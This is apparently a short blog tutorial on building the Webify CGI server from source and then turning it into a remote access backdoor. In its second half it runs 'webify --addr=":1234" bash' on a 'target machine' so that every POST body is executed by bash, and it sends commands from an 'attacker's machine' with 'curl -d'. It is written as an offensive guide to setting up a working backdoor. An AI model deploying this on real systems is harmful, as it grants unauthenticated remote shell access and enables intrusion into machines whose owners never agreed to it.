Webify invokes your script and writes the request body to your process' stdin. Stdout is then passed back to the client as the HTTP response body.Webify is a very basic CGI server which forwards all requests to a single script.

Since this tool is written in Golang, no doubt you should have it installed to run. You can follow the instruction provided here https://golang.org/doc/install


You can obtain your copy of Webify from https://github.com/beefsack/webify/releases

or simply do git clone in terminal to build from source

git clone https://github.com/beefsack/webify

Once the folder is cloned go to the directory via cd

cd webify

Now execute the main file by:

go run main.go

Finally build the executable by

go build

this will build the webify executable in same folder


The other usage examples are provided in the github page itself, let us just jump into our backdoor creation.

On the target machine execute the webify, this will listen on port 8080 by default. For the demo I am hereby executing this in localhost. You can change the default port by providing --addr=":PORT" option. Execute the webify and send the input stream received to bash by

webify  --addr=":1234" bash

Now from attackers machine you can send the commands over POST requests and receive output. I am using curl for the same purpose. -d option in curl  is used to send data by POST method


curl -d "ls -la" http://localhost:1234



Now we have a fully working HTTP backdoor established on target machine listening on port 1234 ready to execute our shell commands
